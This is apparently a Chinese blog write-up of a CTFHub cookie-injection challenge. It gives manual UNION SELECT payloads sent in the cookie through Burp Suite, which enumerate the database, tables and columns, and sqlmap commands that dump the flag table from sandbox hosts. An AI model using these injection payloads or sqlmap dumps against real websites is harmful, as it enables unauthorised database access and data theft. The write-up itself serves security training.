2021-11-08

cookie注入

Burpsuite手动注入 ● 先创造环境,再用burp suite抓包

 

● 将点击action-send to repeater,得到ID=1

 

 

● 在cookie中注入id=123+union+select+database(),2#,找到数据库;得到ID:sqli

 

 

● 再注入id=123 union select group_concat(table_name),2 from information_schema.tables where table_schema= 'sqli' # ;得到数据表名:ejptyugwdy。

 

● 再注入id=123+union+select+group_concat(column_name),2 from information_schema.columns where table_schema= 'sqli'and table_name ='ejptyugwdy' # ,得到数据的列名:rpuszfctgg

 

● 在注入id=123+union+select+group_concat(rpuszfctgg),2 from ejptyugwdy #;

● 最终得到flag:ctfhub{aedfb2dce32cf14f8fc1e5f7}

 

SQLMap

● 输入python sqlmap.py -u "http://challenge- 4392a73ca055fbc7.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2 找到数据库

 

 

● 在输入python sqlmap.py -u “http://challenge- 29a5a9149c0bf502.sandbox.ctfhub.com:10800/” --cookie "id=1" -D sqli --tables --level 2 得到数据库sqli的表名;spmvpdbdwv

 

● 在输入python sqlmap.py -u "http://challenge- 29a5a9149c0bf502.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli -T spmvpdbdwv - -columns --dump --level 2最后得到flag:ctfhub{8c8cac632267f16a5db2f6d0}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值